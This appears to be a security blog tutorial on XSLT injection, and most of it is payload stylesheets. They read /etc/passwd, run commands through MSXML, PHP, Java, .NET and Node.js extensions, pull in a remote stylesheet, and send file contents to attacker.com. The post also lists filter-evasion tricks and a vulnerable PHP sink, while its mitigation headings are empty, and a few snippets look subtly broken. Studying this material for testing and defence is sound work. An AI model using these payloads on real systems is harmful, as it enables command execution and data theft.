Skip to content
bughra.dev
Go back

XSLT Injection

What is XSLT Injection?

XSLT (Extensible Stylesheet Language Transformations) injection occurs when an attacker can control or modify XSLT stylesheets that are processed by an application. Since XSLT processors can have powerful capabilities, including file system access and external command execution (in some implementations), this can lead to serious security vulnerabilities.

XSLT Basics

XSLT is used to transform XML documents into other formats (HTML, XML, plain text, etc.):

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html>
      <body>
        <h2>Employee List</h2>
        <table>
          <xsl:for-each select="employees/employee">
            <tr>
              <td><xsl:value-of select="name"/></td>
              <td><xsl:value-of select="position"/></td>
            </tr>
          </xsl:for-each>
        </table>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>

XSLT Version Differences

XSLT 1.0

XSLT 2.0

XSLT 3.0

Common Attack Vectors

1. Access to External Resources

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

2. Information Disclosure

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>, </xsl:text>
    <xsl:value-of select="system-property('xsl:vendor-url')"/>
    <xsl:text>, </xsl:text>
    <xsl:value-of select="system-property('xsl:version')"/>
  </xsl:template>
</xsl:stylesheet>

3. Script Execution (MSXML)

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

  <msxsl:script language="JScript" implements-prefix="user">
    function xml(nodelist) {
      var r = new ActiveXObject("WScript.Shell");
      r.Run("cmd.exe /c calc.exe");
      return nodelist.nextNode().xml;
    }
  </msxsl:script>

  <xsl:template match="/">
    <xsl:value-of select="user:xml(.)"/>
  </xsl:template>

</xsl:stylesheet>

4. PHP Extension Exploitation

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system','id')"/>
  </xsl:template>
</xsl:stylesheet>

5. Java Extension Exploitation (Saxon)

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
  <xsl:template match="/">
    <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /c calc')" 
    xmlns:Runtime="java:java.lang.Runtime"/>
  </xsl:template>
</xsl:stylesheet>

6. .NET Extension Exploitation

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:cs="http://csharp.com/mynamespace">

  <msxsl:script language="C#" implements-prefix="cs">
    public string execute() {
      System.Diagnostics.Process.Start("calc.exe");
      return "";
    }
  </msxsl:script>

  <xsl:template match="/">
    <xsl:value-of select="cs:execute()"/>
  </xsl:template>

</xsl:stylesheet>

7. Node.js Extension Exploitation

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:node="http://nodejskit.com/ns">

  <!-- Using node-libxslt -->
  <node:script>
    const { execSync } = require('child_process');
    exports.runCommand = function() {
      return execSync('id').toString();
    };
  </node:script>

  <xsl:template match="/">
    <xsl:value-of select="node:runCommand()"/>
  </xsl:template>

</xsl:stylesheet>

XSLT Processor-Specific Attacks

1. Xalan Processor (Java)

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtObj, 'calc.exe')"/>
    <xsl:value-of select="process"/>
  </xsl:template>
</xsl:stylesheet>

2. libxslt (Used by PHP, Python)

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

3. Saxon

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <!-- If Saxon-PE or Saxon-EE with feature:allow-external-functions is set to true -->
  <xsl:variable name="cmd"><![CDATA[/usr/bin/id]]></xsl:variable>
  <xsl:variable name="rtObj" select="runtime:getRuntime()" 
    xmlns:runtime="java.lang.Runtime"/>
  <xsl:variable name="process" select="runtime:exec($rtObj, $cmd)"/>
  <xsl:value-of select="$process"/>
</xsl:stylesheet>

4. Microsoft MSXML

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:user="http://mycompany.com/mynamespace">
  <msxsl:script language="VBScript" implements-prefix="user">
    Function transform()
      Set shell = CreateObject("WScript.Shell")
      shell.Run "cmd.exe /c calc.exe"
      transform = ""
    End Function
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:transform()"/>
  </xsl:template>
</xsl:stylesheet>

Attack Techniques

Remote File Inclusion

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="http://attacker.com/malicious.xsl"/>
  <xsl:template match="/">
    <!-- Content here -->
  </xsl:template>
</xsl:stylesheet>

File System Access

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:for-each select="collection('file:///var/www/')">
      <xsl:value-of select="document-uri(.)"/><br/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

Blind XSLT Injection (Data Exfiltration)

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:variable name="secret" select="document('/etc/passwd')"/>
    <xsl:value-of select="document(concat('http://attacker.com/?data=', encode-for-uri($secret)))"/>
  </xsl:template>
</xsl:stylesheet>

Recursive Processing

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:variable name="eval">
      <root>
        <xsl:value-of select="system-property('xsl:vendor')"/>
      </root>
    </xsl:variable>
    <xsl:apply-templates select="$eval"/>
  </xsl:template>
</xsl:stylesheet>

Evasion Techniques

Entity Encoding

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="unparsed-text('&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#101;&#116;&#99;&#47;&#112;&#97;&#115;&#115;&#119;&#100;')"/>
  </xsl:template>
</xsl:stylesheet>

Dynamic Evaluation

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:variable name="path" select="'file:///etc/passwd'"/>
  <xsl:template match="/">
    <xsl:copy-of select="document($path)"/>
  </xsl:template>
</xsl:stylesheet>

Comment Obfuscation

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="doc<!--Comment-->ument('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Detection Methods

Testing for XSLT Vulnerability

  1. Input: Inject a simple XSLT that outputs a unique string
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:text>XSLT_INJECTION_TEST_SUCCESSFUL</xsl:text>
  </xsl:template>
</xsl:stylesheet>
  1. Input: Check for information disclosure
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>

Mitigation Strategies

1. Input Validation

2. Disable Extension Functions

3. Sandbox Execution

4. Use Allowlisting

5. Keep Software Updated

Common Vulnerable Libraries & Versions

Real-world Exploitation Examples

PHP + libxslt Exploit

<?php
$xml = new DOMDocument();
$xml->loadXML('<root>test</root>');

$xsl = new DOMDocument();
$xsl->loadXML($_POST['xslt']); // User-controlled input!

$proc = new XSLTProcessor();
$proc->importStyleSheet($xsl);
echo $proc->transformToXML($xml);
?>

Malicious XSLT:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system', 'id')"/>
  </xsl:template>
</xsl:stylesheet>

Java Example

TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(new StreamSource(userInputXslt));
transformer.transform(new StreamSource(xmlInput), new StreamResult(output));

References


Share this post on:

Previous Post
XXE (XML External Entity) Injection
Next Post
XSS (Cross-Site Scripting)